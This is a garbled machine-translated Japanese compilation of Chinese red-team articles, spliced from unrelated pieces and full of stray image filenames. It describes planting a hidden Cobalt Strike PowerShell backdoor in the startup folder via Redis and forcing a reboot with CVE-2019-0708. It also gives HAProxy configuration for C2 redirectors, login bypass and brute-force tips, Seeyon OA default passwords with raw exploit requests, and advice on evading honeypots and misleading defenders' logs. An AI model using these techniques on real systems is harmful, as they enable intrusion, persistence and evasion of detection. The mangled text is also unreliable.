ここで使用するのが困難です。つまり、ウェブサイトの実際の物理的パスはまったくわかりません。エラーを報告したり、物理的なパスを爆破しようとすることは実りがないため、文やその他のフォームを書いてもウェブシェルを取得することはできません。ここには、Linuxのようなリバウンドと利用はありません。書くべき計画されたタスクはありません。

以前の情報収集の後、Windows Server 2008 R2であることがわかりました。トロイの木馬を起動してスタートアップに入れるためのスクリプトを作成し、CVE-2019-0708を使用してホストを「強制」して再起動することができます。

それを行うには、ここでPowershellのCS馬を使用してください(ここでは殺されるべきではなく、ここでは議論されないことに注意してください)。まず、RedisのワーキングディレクトリをWindowsのスタートアップディレクトリに設定し、次にCS Horseを書きます。保存することを忘れないでください。そうしないと、常にメモリになります。

1049983-20220124162649397-71561947.jpg CVE-2019-0708を使用して、ホストを再起動するように「強制」します。あなたはそれが正常に起動されたことを見ることができます。

1049983-20220124162649739-459355595.jpg実際のテスト後、このスタートアップアイテムは国内のソフトウェアキラーを通過できますが、CMDを呼び出すと傍受されます。

1049983-20220124162650156-1916410730.jpg

0x03要約

1。情報収集により、ターゲットにはCVE-2019-0708の脆弱性があります。脆弱性ディスカバリーシステムのブルースクリーンが再起動しました2。 3.ターゲットシステムを入力するために弱いパスワードを介して123123を入力してみてください。しかし、ウェブサイトのルートディレクトリを知らず、スタートアップアイテムにバックドアを書き込むことができます。CS5でPSスクリプトバックドアを生成します。 '\ r \ n \ r \ npowershell.exe -nop -w hidden -c' saveinfo6。 CVE-2019-0708脆弱性ブルースクリーンを介して再起動し、CSオリジナルテキスト接続の起動に成功しました。 https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=22474895578IDX=1SN=9DC27C160BFB4FDCA0316CE18EE4CKKKCHKSM=CFA6BC3 9F8D1352F5B0FEB60E8029A68F8719CE8AC42A3D3475DB722A319DACFE92E97DA7607SCENE=178CUR_ALBUM_ID=1553386251775492092098#RD

0x00はじめに

レッドチームのSIEMには2つの主な目標があります。

複数のTeamServerからすべての関連する操作ログを収集および強化する集中管理センターを作成することにより、Redチーム担当者の可用性と概要を強化します。これは、運用の歴史的検索や、ブルーチームなどの運用のプレビュー可能なビューを提供するのに役立ちます。特に、マルチセナリオ、マルチタイムサーバー、マルチメンバー、マルチタイムオペレーションに適しています。また、すべてのスクリーンショット、IOC、キーボード出力などを表示する簡単な方法。

中央の管理センターから青いチームを発見して、リダイレクターからすべてのトラフィックログを収集して充実させます。特定のクエリを使用して、ブルーチームがインフラストラクチャを調査していることを検出することが可能になりました。

プロジェクトアドレス:https://github.com/outflanknl/redelk

0x01アーキテクチャの概要

以下は、Redelkの仕組みの概要です。

5ttwicexgp47979.png

Redelkは、典型的なコンポーネントFileBeat(Transfer)、Logstash(Filter)、ElasticSearch(ストレージ)、およびKibana(ビュー)を使用します。 RSYNCは、TeamServerデータの2回目の同期に使用されます:ログ、キーボード入力、スクリーンショットなど。NGINXはキバナの認証に使用され、スクリーンショット、ビーコンログ、キーボード入力をオペレーターブラウザーで簡単に提供します。

Pythonスクリプトのセットは、青いチームの検出と同様に、ログデータを濃縮するために使用されます。

0x02インストールと構成

インストールを実行するには、いくつかの重要な手順が必要です。各ステップを実行する必要があります。

1.キーとパッケージの生成リダイレクター/チームサーバーとリデルクサーバー間のファイルビートトラフィックを暗号化するためのTLSキーペアを生成する必要があります。

./certs/config.cnfを構成して、TLS証明書の正しい詳細を含めるようにします。このファイルに正しいIP(IP.1)またはDNS(DNS.1)名をリストすることが非常に重要です!これらには、RedelkサーバーにIPまたはDNSが必要です。それ以外の場合、TLSの設定は機能せず、Logstashはログに隠されたエラーが発生し、重度に起動してクラッシュします。

実行されたら、実行:intialty-setup.sh ./certs/config.cnfこれにより、リダル、チームサーバー、エルクサーバー間の安全な通信に必要な証明書を生成し、エルクサーからチームサーバーまでの安全なRSYNC認証のためのSSHキーペアを生成するCAが作成されます。

また、各コンポーネントのインストールパッケージを含むTeamServers.tgz、redirs.tgz、およびelkserver.tgzも生成します。これらのTGZファイルを関連システムにコピーする必要があります(TeamServers、Redirs-En、Redelk Centerノードとして使用されるシステム)

この初期設定は、新しいTLSキーを使用する必要がある場合にのみ再実行する必要があります。この場合は、/certs/redelkca.* and ./certs/elkserver.*ファイルとRerun initial-setup.sh ./certs/config.cnfを削除します。

2。リダイレクターの設定の構成は、Haproxyサーバーのみをサポートします

Red Team Infrastructureの展開プロセスの一環として、Redirs.tgzをコピーおよび解凍リダイレクター。行:install-redir.sh $ filebeatid $ scenarioname $ ip/dns:port

$ filebeatidは、filebeatのリダイレクターの識別子です。

$ sinearionameは、攻撃シナリオのリダイレクターの名前です。

$ ip/dns:portは、redelkサーバーのIP/DNSとなるFileBeatログによって送信されたIPまたはDNS名とポート情報です。デフォルトのポート(TCP/5044)が使用されていても、パラメーターとして提供する必要があります。

このスクリプトはタイムゾーン(デフォルトはヨーロッパ/アムステルダムですが、スクリプトにこれを変更できます)、ファイルビートと依存関係をインストールし、必要な証明書をインストールし、ファイルビート構成を変更し、ファイルビートを開始します。

(1).Haproxy DetultedRedelkは、より詳細な情報を記録するために、デフォルトのHaproxy構成を変更する必要があります。

「デフォルト値」セクション:

log-format frontend:%f/%h/%fi:%fp \ backend:%b \ client:%ci3:%cp \ gmt:%t \ useragent:%[Capture.Req.hdr(1)] request:%r

フロントエンドセクション:

Capture Request Len 40000を宣言します

HTTP-Request Capture Req.Body ID 0

キャプチャリクエストヘッダーユーザーエージェントレン512

(2).haproxy構成ファイルの例次の構成は、Haproxyの実行例です。これは、デフォルトのコバルトストライク構成ファイルで動作します

ログ127.0.0.1 local2 debug

Maxconn 2000

ユーザーHaproxy

グループハプロキシ

デフォルト

ロググローバル

モードHTTP

オプションhttplog

オプションdontlognull

再試行3

オプションRedispatch

タイムアウト接続5000

タイムアウトクライアント10000

タイムアウトサーバー10000

log-format frontend:%f/%h/%fi:%fp \ backend:%b \ client:%ci3:%cp \ gmt:%t \ useragent:%[Capture.Req.hdr(1)] request:%r

フロントエンドwww-https

オプションhttp-buffer-request

Capture Request Len 40000を宣言します

HTTP-Request Capture Req.Body ID 0

キャプチャリクエストヘッダーユーザーエージェントレン512

log /dev /log local2 debug

バインド:443 V4V6 SSL CRT/ETC/LETSENCRYPT/LIVE/HAPROXY.PEM

reqadd x-orwarded-proto: \ https

ACL PATH_CS PATH -M BEG /DPIXEL

acl path_cs path -m beg /submit.php

acl path_cs path_reg ^/[0-z] [0-z] [0-z] [0-z] [0-z] $

path_csの場合、use_backend cobaltstrike-https

default_backend www-decoy

タイムアウトクライアント1M

フロントエンドwww-http

モードHTTP

オプションhttp-buffer-request

Capture Request Len 40000を宣言します

HTTP-Request Capture Req.Body ID 0

キャプチャリクエストヘッダーユーザーエージェントレン512

log /dev /log local2 debug

バインド:80 V4v6

reqadd x-orwarded-proto: \ http

ACL PATH_CS PATH -M BEG /DPIXEL

acl path_cs path -m beg /submit.php

acl path_cs path_reg ^/[0-z] [0-z] [0-z] [0-z] [0-z] $

use_backend cobaltstrike-http if path_cs

default_backend www-decoy

タイムアウトクライアント1M

バックエンドwww-decoy

モードHTTP

http-requestセットヘッダーホストlocalhost

サーバーlocalhost localhost:80

バックエンドCobaltstrike-https

Option Forwardfor

Server TeamServer $ {fqdnteamServer} :443 Check SSL Berify None

バックエンドCobaltstrike-http

Option Forwardfor

サーバーTeamServer $ {fqdnteamServer} :80

3. TeamServerのインストールと構成Red Team Infrastructure展開プロセスの一環として、Cobalt StriketeamServerのTeamServers.tgzをコピーおよび解凍します。実行:install-teamserver.sh $ filebeatid $ sinearioname $ ip/dns:port

$ filebeatidは、FileBeatのTeamServerの識別子です。

$ Scenarionameは、TeamServerが攻撃スキームに使用する名前です。

$ ip/dns:portは、redelkサーバーのIP/DNSとなるFileBeatログによって送信されたIPまたはDNS名とポート情報です。デフォルトのポート(TCP/5044)が使用されていても、パラメーターとして提供する必要があります。

filebeatがすでにインストールされている場合、このスクリプトは警告を発行します(ElkとFilebeatが同じバージョンとほぼ同じバージョンであることがあるため、これは重要です)、タイムゾーン(デフォルトはヨーロッパ/アムステルダムですが、スクリプトにこれを変更できますが、ファイルビートと依存関係をインストールします)、必要な本をインストールし、ファイルビート構成を修正し、SCPを開始します。 rsync。

4.Redelkのインストールと構成(1)。 Red Team Infrastructureの展開プロセスの一部として、Redelk ServerにElkserver.tgzをコピーおよびDecress elkserver.tgzにインストールします。

実行:install-teamserver.sh(パラメーターは不要)

このスクリプトはタイムゾーン(デフォルトはヨーロッパ/アムステルダムですが、スクリプトにこれを変更できます)、Logstash、Elasticsearch、Kibanaおよび依存関係をインストールし、必要な証明書をインストールし、Logstash構成と必要なカスタム拡張スクリプトを展開し、GEOIPデータベースをダウンロードし、NGINXをインストールし、NGINXを設置し、以前のユーザーを作成しました。 TeamServersは、スクリーンショットサムネイルを作成するためのスクリプトをインストールし、Redelk構成ファイルをインストールし、RedelkタスクのCrontabファイルをインストールし、Geoip Elasticsearchプラグインをインストールし、テンプレートを構成し、Python拡張スクリプトをインストールし、最後にPython Blueチーム検出スクリプトをインストールします。

まだ終わっていません。 /etc/cron.d/redelkにTeamServersの詳細を手動で入力し、/etc/Redelkで構成ファイルを調整する必要があります(以下のセクションを参照)

(2)。 /etc /redelkディレクトリのELKサーバーに構成されている場合、より良いリッチな機能とより良いアラートのために、Redelkインスタンスを調整するために使用できるいくつかのファイルを見つけることができます。必要なものもあり、一部はオプションです

必要な構成:/etc/redelk/alarm.json.conf:アラーム操作に必要な詳細。これには、オンラインサービスのAPIキー(ウイルス合計、IBM X-Forceなど)と、電子メールでアラートを送信するのに必要なSMTPの詳細が含まれます。このファイルに詳細を入力しない場合、Redelkはアラーム機能を使用できません。

提案された構成:/etc/redelk/iplist_redteam.conf:1行ごとに1つのレッドチームのパブリックIPアドレス。 Redチームのメンバーが実施したテストを簡単に識別できます。ここにアドレスを含む設定は、Redirhaproxy-*インデックスの該当するレコードにタグを設定することです。

/etc/redelk/iplist_customer.conf:ターゲットのパブリックIPアドレス、1行ごとに1つ。ここにアドレスを含む設定は、Redirhaproxy-*インデックスに該当するレコードのタグを設定することです。

/etc/redelk/iplist_unkinced.conf:ゲートウェイのパブリックIPアドレスについてはわかりませんが、再度警告を受け取りたくありません。 1行に1つ。ここにアドレスを含む設定は、redirhaproxy-*インデックスに該当するレコードのマークを設定します

/etc/redelk/rogue_useragents.conf:ユーザーエージェントは、C2バックエンドにアクセスする際に既知のエラーがあります。すでにCurl、Python-Urllib、Blue Teamersが使用する他のツールなどのUASの基本リストが含まれています。このリストには、WhatsApp、Skype、SlackなどのインスタントメッセージングツールのUASのリストも含まれています。 C2がIMを使用してアナリスト間で共有する場合に非常に便利です。このリストにUASを追加してください。

/etc/redelk/known_testsystems.conf:既知のテストシステムのビーコン機能。独自のテストシステムに関する情報を追加することができます。 1行に1つ。ここにデータを含む構成は、rups-*インデックスに該当するレコードのマークを設定します。認証をnginxに変更するには、/etc/nginx/htpasswd.usersを変更して、優先資格情報を含めます。または、最初のセットアップ前に/redelk/elkserver/etc/nginx/htpasswd.usersファイルを構成します。

編集することをお勧めしないその他の構成ファイル:/etc/redelk/abusbotnetc2ip.conf:absed.chによってリストされた既知のC2 IPアドレスの自動更新リスト。

/etc/redelk/abussslcert.conf:c2 tls absed.chがリストしたC2 TLS証明書、既知のC2の自動更新ハッシュリスト。

/etc/redelk/roguedomains.conf:複数のソースからの既知の悪いドメインの自動更新リスト。

/etc/redelk/torexitnodes.conf:既知のTor ExitノードIPアドレスの自動更新リスト。

/etc/redelk/known_sandboxes.conf:AVサンドボックスシステムのビーコン特性が知られています。 1行に1つ。ここにデータを含む構成は、rups-*インデックスに該当するレコードのマークを設定します。ますます多くのサンドボックスに完全にランダムな名前があるため、これには本当の関連性がなくなります。

/etc/redelk/redteamdomains.conf:攻撃的なインフラストラクチャで使用されるドメインのリスト。チェックするためにアラームコードが実行されていないため、このファイルは必要ありません。

初期インストール前にこれらのファイルを変更すると、これらの変更は.TGZパッケージに含まれ、将来のインストールに使用できます。これらのファイルは、/redelk/elkserver/etc/redelkにあります。

0x03毎日の使用

Redelkには、2つの主要な使用シナリオがあります。

1。レッドチームの操作の概要(1)。初めてログインし、RedelkサーバーのIPアドレスを参照し、Nginxの資格情報でログインします(デフォルトはRedelk:Redelk)。あなたは今キバナのインターフェースにいます。

ここで2つのことを行う必要がある場合があります。ダッシュボードを表示するか、より詳細なデータを表示して検索します。左サイドバーのボタン(デフォルトのキバナ機能)を使用して、これらのビューを切り替えることができます。

(2).Dashboard左側のダッシュボードアイコンをクリックすると、トラフィックとビーコンの2つのオプションが表示されます

q0grp2pa0cm7980.png

ceebf1luxqf7981.png

m3y3rxhefsx7982.png

(3)。データを詳細に検索して検索します。 [発見]ボタンをクリックして、データを表示および検索します。完了したら、使用する時間範囲をクリックし、開いたボタンをクリックして、準備されたビューの1つで検索します。

n0rkvojx2w47983.png

(3).beaconデータ「TimeLineOverView」の検索を選択すると、ビーコンイベントのタイムラインを必要に応じて使用できるCobalt Strikeチームサーバーのデータビューが表示されます。このビューには、タイムスタンプ、テストシナリオ名、ユーザー名、ビーコン、ホスト名、オペレーティングシステム、オペレーティングシステムのバージョンなど、必要な列が必要です。最後に、コバルトストライクからの完全なメッセージが表示されます

2suejcoe5ug7984.png

この検索を好みに応じて変更できます。また、それはElasticSearchであるため、検索バーを使用してこのインデックス内のすべてのデータを検索できます。

レコードの詳細をクリックすると、詳細が表示されます。可用性の重要な分野は、ビーコンログファイルフィールドです。このフィールドは、レコードの完全なビーコンログファイルにリンクするハイパーリンクです。これにより、ビーコンレコードを大きなウィンドウで表示し、CTRL + Fを使用できます。

jkvbv1x3vpl7985.png

(4)。スクリーンショットRedelkは、ターゲットから生成されたすべてのスクリーンショットを簡単に表示する簡単な方法を提供します。 「スクリーンショット」検索を選択して、この詳細を取得します。 2つの大きなユーザビリティコンテンツを追加しました。サムネイルとフル画像のハイパーリンクです。サムネイルはすばやくスクロールして直接印象を与えることができます。通常、スクリーンショットがどのように見えるかを覚えています。

w0xuixhumxk7986.png

(5)。キーボード入力はスクリーンショットと同じです。すべてのキーボード入力操作を概説するだけで非常に便利です。この検索では、コンテンツの最初の行と、完全なキーボード入力ログファイルへのハイパーリンクが提供されます。

lb4rynqliga7987.png

(6).IOCデータすべてのIOCのリストをすばやく取得するために、Redelkは簡単な概要を提供します。このリストを取得するには、「IOCS」で検索するだけです。これにより、ファイルやサービスからのデータなど、Cobalt StrikeのすべてのIOCデータが表示されます。

j1d0ewmqnrp7988.png

上部バーのレポートボタンをクリックして、この正確なビューのCSVを生成することにより、このリストをすばやくエクスポートできます。

(7)。 Redelkのダウンロードは、Redチームの実行中にダウンロードした各ファイルを簡単に表示する方法を提供します。 「ダウンロード」を検索することで、この情報を見つけることができます。検索可能なすべての関連するメタデータを含む、すべてのダウンロードされたファイルのリストが利用可能になりました。しかし、さらに重要なことは、実際のファイルをWebブラウザーから直接ダウンロードすることもできます。 Redelkは各TeamServerからすべてのデータを収集するため、これは操作中ずっと各TeamServerからすべてのダウンロードファイルがあることを意味します。コバルトストライククライアントを使用して各TeamServerにログイン(および同期)する必要はなくなりました。

prubmc0ium27989.png

2。ブルーチームの検出(1)。ブルーチームアクティビティを検出するためのaproach:

ElasticSearchに保存されているデータ

オンラインサービスは、OPSECの不適切な構成のためにブルーチームが配置した可能性のある情報を提供します。

(2).ConfigurationファイルFSD

(3)。 FSDを確認してください

0x04フードの使用

Redelkは、典型的なコンポーネントFileBeat(Transfer)、Logstash(Filter)、ElasticSearch(ストレージ)、Kibana(ビュー)を使用します。 RSYNCは、TeamServerデータの2回目の同期に使用されます:ログ、キーボード入力、スクリーンショットなど。NGINXはキバナの認証に使用され、スクリーンショット、ビーコンログ、キーボード入力をオペレーターブラウザーで簡単に提供します。

Pythonスクリプトのセットは、ログデータとブルーチームの検出を濃縮するために使用されます。

詳細については、次のように説明されています。

1.スクリプトELKサーバーのフードの下で表示する場合は、/etc/cron.d/redelkのRedelk Cronファイルを確認してください。 /usr/share/redelk/bin/でいくつかのスクリプトを開始します。いくつかのスクリプトは濃縮のためのもので、他のスクリプトは警告用です。これらのスクリプトの構成は、/etc/redelk/の構成ファイルを介して実行されます。また、Logstashには多くの拡張機能があります(スクリーンショットなどのハイパーリンクを生成するなど)。 /etc/logstash/conf.d/のLogstash構成ファイルから直接確認できます。

2。インストールプロセス中に、すべてのインストール操作が現在の作業ディレクトリのログファイルに記録されます。

TeamServerおよびRedelkサーバーでの操作中にRedelkによって生成されたログ。これらのログは/var/log/redelkで見つけることができます。すべての典型的なElasticSearch、Logstashなどのログとは別に、トラブルシューティングに使用する必要がある場合があります。

Redelkは、典型的なコンポーネントFileBeat(Transfer)、Logstash(Filter)、ElasticSearch(ストレージ)、およびKibana(ビュー)を使用します。 RSYNCは、TeamServerデータの2回目の同期に使用されます:ログ、キーボード入力、スクリーンショットなど。NGINXはキバナの認証に使用されます。

最も基本的なログインボックスから突破します

ログインボックスは、HWが最も発生するキャラクターであり、穴から抜け出すのが最も簡単です。一般的に使用されるテスト方法の一部を以下に示します

ログインブラストのヒント

image-20231130171640751

このようなシステムの爆発に対する2つの解決策があります。

フロントエンドの暗号化アルゴリズムを分析し、スクリプトを書き込み、パスワードを暗号化し、パスワードを123456 000000に修正します。2つの方法には、辞書として一般的なユーザー名を使用して2つの方法が独自の利点と欠点があります。ゲームでより効率的な2番目のものを好み、分析暗号化アルゴリズムはRedチーム検出プロジェクトにより適しています。

image-20231201170955410

爆破されたアカウントのパスワードを使用してバックグラウンドにログインすると、背景のアップロードポイントを見つけ続けることができます

アップロードされたファイル形式を制限するために、こちらの画像タイプを参照してください

image-20231201171410743

ASPXファイル形式タイプを直接追加します

image-20231201171600249

成功したけいれん

image-20231201171755656

戻りパケットパラメーターを変更し、背景

を入力します

ウェブサイトのログインステータスがフロントエンドに基づいて判断される場合があり、この時点では、返品パッケージを直接変更してバイパスできます。

image-20231128172935703

フロントエンド判断ログインロジックは、返品パッケージのRET値に基づいて決定されます。返品値が1の場合、ログインが正常にログインされます。

image-20231128173007315

背景を正常に入力しました

image-20231128173130312

プラグインは、一般的なSQLインジェクションとLOG4Jの脆弱性を検出します

推奨SQLインジェクションプラグイン3https://GITHUB.COM/SMXIAZI/XIA_SQL

基本原則は、返されたデータの長さに基づいて複数のデータパケットを送信することにより、注入があるかどうかを判断することです。

image-20231128170800532

パッシブスキャンに加えて、シングルとダブルの引用符を手動で追加して、返品パッケージを表示することもできます。同様のエラーがある場合、SQL注入がある可能性があります。

image-20231128164205795

image-20231205180145610

SQLMAPシャトル

image-20231128173629321

log4jプラグインはhttps://github.com/thekingofduck/burpfakeipを推奨しました

バーププラグインファズパケットを介したヘッダーヘッダー

image-20231128171023433

ログインボックスでlog4jの脆弱性を正常に検出しました

しかし、多くのDNSLOGプラットフォームはファイアウォールによって黒にマークされていることに注意する必要があるため、シーイを使用したり、DNSLOGプラットフォームを自分で構築することをお勧めします

image-20231108153844067

システムデフォルトのパスワード +背景1Day Exploit

攻撃的および防御的な競争がますます頻繁になるにつれて、パブリックネットワークで直接悪用できるフロントエンドの脆弱性はますます少なく、それらのほとんどはバッチスキャンによって修正されていますが、システムのデフォルトパスワードを使用して1日と組み合わせることができます。

デフォルトのパスワードが存在する場合、admin/admin123

image-20231128173913383

タスクをスケジュールするか、背景を入力するときにタスクを脱着することにより、コマンドを実行できます。

image-20231128174037559

OAシステムに遭遇すると多くの場合、OA脆弱性検出ツールを使用して、抜け穴なしでスキャンしてあきらめます。実際、この種のOAシステムでデフォルトのパスワードに問題がある可能性があります。

デフォルトのパスワード

システム管理者:システム/システム

グループ管理者(A8-V5グループバージョン)Group-Admin/123456

ユニット管理者(A8-V5 Enterprise Edition)Admin1/Admin123456

監査管理者(すべてのバージョン)Audit-Admin/Seeyon123456

image-20231108142849667

フロントデスクでアカウントのパスワードを使用するときにログインできない場合があります。次のデータパケットを送信して、Cookieを取得できます。

POST/SEYYON/REST/認証/UCPCLOGIN HTTP/1.1

host:

user-agent: mozilla/5.0(Windows NT 10.0; RV:78.0)Gecko/20100101 Firefox/78.0

Content-Length: 71

Content-Type:アプリケーション/x-www-form-urlencoded

Accept-Encoding: GZIP

useragentfrom=xxlogin_username=audit-adminlogin_password=seeyon123456

Cookieを取得した後、パッチの新しいバックグラウンドホールを使用して、詳細に使用できます。今回は、コピーファイルの背景穴を使用します。

しかし、実際の戦闘の後、私はこの抜け穴にいくつかの落とし穴があることを発見し、ウェブシェルに書き込むときにエラーが報告されました。

post /seeyon/ajax.do?method=ajaxactionmanagername=portalcssssmanagerrnd=111 http/1.1

Accept: */*

content-type:アプリケーション/x-www-form-urlencoded; charset=utf-8

Content-Length: 70

HOST: 192.168.91.17

Connection: Keep-Alive

user-agent: apache-httpclient/4.5.13(Java/1.8.0_321)

Accept-Encoding: gzip、deflate

引数=%5B%22

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト:

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル:すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)

image-20201009113709670

image-20201009112952911

n11lo5jfmu21219.png

